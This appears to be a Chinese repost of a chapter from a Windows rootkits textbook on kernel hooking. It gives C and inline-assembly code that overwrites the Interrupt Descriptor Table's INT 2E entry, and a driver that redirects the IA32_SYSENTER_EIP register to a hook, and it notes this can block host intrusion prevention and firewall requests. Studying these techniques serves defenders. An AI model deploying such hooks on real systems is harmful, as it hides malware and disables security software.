4_2 内核钩子 - 《Rootkits——Windows内核的安全防护》第二部分 (转自CSDN读书频道)
2007年05月07日 星期一 17:54
2. 钩住中断描述符表 如名称所示,中断描述符表(Interrupt Descriptor Table,IDT)用于处理中断。中断可能来自于软件或硬件。IDT指定了如何处理诸如当按下一个键、发生页面错误(IDT中的0x0E项),或用户进程请求SSDT(在Windows中为0x2E项)时所触发的中断。本节介绍如何在IDT中的向量0x2E上安装钩子。该钩子在SSDT中的内核函数之前进行调用。 在处理IDT时需要注意两点。首先,每个处理器都有自己的IDT,这在多处理器计算机上会产生问题。仅仅钩住代码当前所在的处理器是不够的,必须钩住系统上的所有IDT(关于如何在特定处理器上运行钩子函数的更多信息,参见第7章“直接内核对象操作”中的7.4.3节)。 另外,执行控制并不返回到IDT处理程序,因此典型的钩子技术(如调用原始函数,过滤数据,然后从钩子中返回等)不会起作用。IDT钩子只是一个直通(pass-through)函数,决不会重新获得控制权,因此它无法过滤数据。但rootkit可以标识或堵塞来自特定软件例如主机入侵预防系统(Host Intrusion Prevention System,HIPS)或个人防火墙的请求。 当应用程序需要操作系统的支持时,NTDLL.DLL向EAX寄存器加载SSDT中系统调用的索引号,向EDX寄存器加载用户堆栈参数的指针。然后发出一条INT 2E指令。该中断是从用户空间进入内核的指示信号(注意:更晚的Windows版本使用本章后面介绍的SYSENTER指令,而不是INT 2E)。 SIDT指令在内存中为每个CPU寻找IDT。它返回IDTINFO结构的地址。因为IDT划分为一个较低的WORD值和一个较高的WORD值,可以通过MAKELONG宏获得正确的DWORD值,其中最高位WORD在前面: typedef struct { WORD IDTLimit; WORD LowIDTbase; WORD HiIDTbase; } IDTINFO; #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b))) << 16)) IDT中每一项都具有自己的结构,长度为64位。这些项也呈现出这种划分WORD特征。每一项包含一个特定中断处理函数的地址。IDTENTRY结构中的LowOffset和HiOffset组成了中断处理程序的地址。 IDT中每项的结构如下: #pragma pack(1) typedef struct { WORD LowOffset; WORD selector; BYTE unused_lo; unsigned char unused_hi:5; // stored TYPE ? unsigned char DPL:2; unsigned char P:1; // vector is present WORD HiOffset; } IDTENTRY; #pragma pack() 下面的HookInterrupts函数声明了一个全局DWORD,它存储实际的INT 2E函数处理程序KiSystemService。它还将NT_SYSTEM_SERVICE_INT定义为0x2E。这是IDT中将要钩住的索引。以下代码将IDT中的实际项替换为包含钩子地址的IDTENTRY。 DWORD KiRealSystemServiceISR_Ptr; // The real INT 2E handler #define NT_SYSTEM_SERVICE_INT 0x2e int HookInterrupts() { IDTINFO idt_info; IDTENTRY* idt_entries; IDTENTRY* int2e_entry; __asm{ sidt idt_info; } idt_entries = (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase); KiRealSystemServiceISR_Ptr = // Save the real address of the // handler. MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset, idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset); /******************************************************* * Note: we can patch ANY interrupt here; * the sky is the limit *******************************************************/ int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]); __asm{ cli; // Mask Interrupts lea eax,MyKiSystemService; // Load EAX with the address of // hook mov ebx, int2e_entry; // Address of INT 2E handler in // table mov [ebx],ax; // Overwrite real handler with // the low // 16 bits of the hook address. shr eax,16 mov [ebx+6],ax; // Overwrite real handler with // the high // 16 bits of the hook address. sti; // Enable Interrupts again. } return 0; } 至此已经在IDT中安装了钩子,就可以检测或阻止任何使用了系统调用的进程。记住系统调用编号存储在EAX寄存器中。通过调用PsGetCurrentProcess函数可以获得指向当前EPROCESS的指针。以下是执行该功能的代码原型: __declspec(naked) MyKiSystemService() { __asm{ pushad pushfd push fs mov bx,0x30 mov fs,bx push ds push es // Insert detection or prevention code here. Finish: pop es pop ds pop fs popfd popad jmp KiRealSystemServiceISR_Ptr; // Call the real function } } rootkit.com网站资源 该示例代码的下载网址是www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip。 SYSENTER 较新版本的Windows系统不再用INT 2E或通过IDT来请求系统调用表中的服务。而是使用快速调用方法(fast call method)。在这种方法中,NTDLL向EAX寄存器中加载被请求服务的系统调用号,向EDX寄存器中加载当前堆栈指针ESP。然后发出Intel指令SYSENTER。 SYSENTER指令将控制权传递给模型相关寄存器(Model-Specific Register,MSR)IA32_SYSENTER_EIP中指定的地址。可以读写该寄存器,但它是一条特权指令,这意味着必须从环0级别上执行该指令。 以下是一个简单的驱动程序,它读取IA32_SYSENTER_EIP的值,将其存储在一个全局变量中,然后将钩子地址填充到该寄存器中。MyKiFastCallEntry钩子只是跳转到原始的函数,不执行其他任何工作。这是钩住SYSENTER控制流程所需的第一步。 #include "ntddk.h" ULONG d_origKiFastCallEntry; // Original value of //ntoskrnl!KiFastCallEntry VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) { DbgPrint("ROOTKIT: OnUnload called/n"); } // Hook function __declspec(naked) MyKiFastCallEntry() { __asm { jmp [d_origKiFastCallEntry] } } NTSTATUS DriverEntry(PDRIVER_OBJECT theDriverObject, PUNICODE_STRING theRegistryPath) { theDriverObject->DriverUnload = OnUnload; __asm { mov ecx, 0x176 rdmsr // read the value of the IA32_SYSENTER_EIP // register mov d_origKiFastCallEntry, eax mov eax, MyKiFastCallEntry // Hook function address wrmsr // Write to the IA32_SYSENTER_EIP register } return STATUS_SUCCESS; } rootkit.com网站资源 SYSENTER钩子代码的下载网址是www.rootkit.com/vault/fuzen_op/SysEnterHook.zip。
|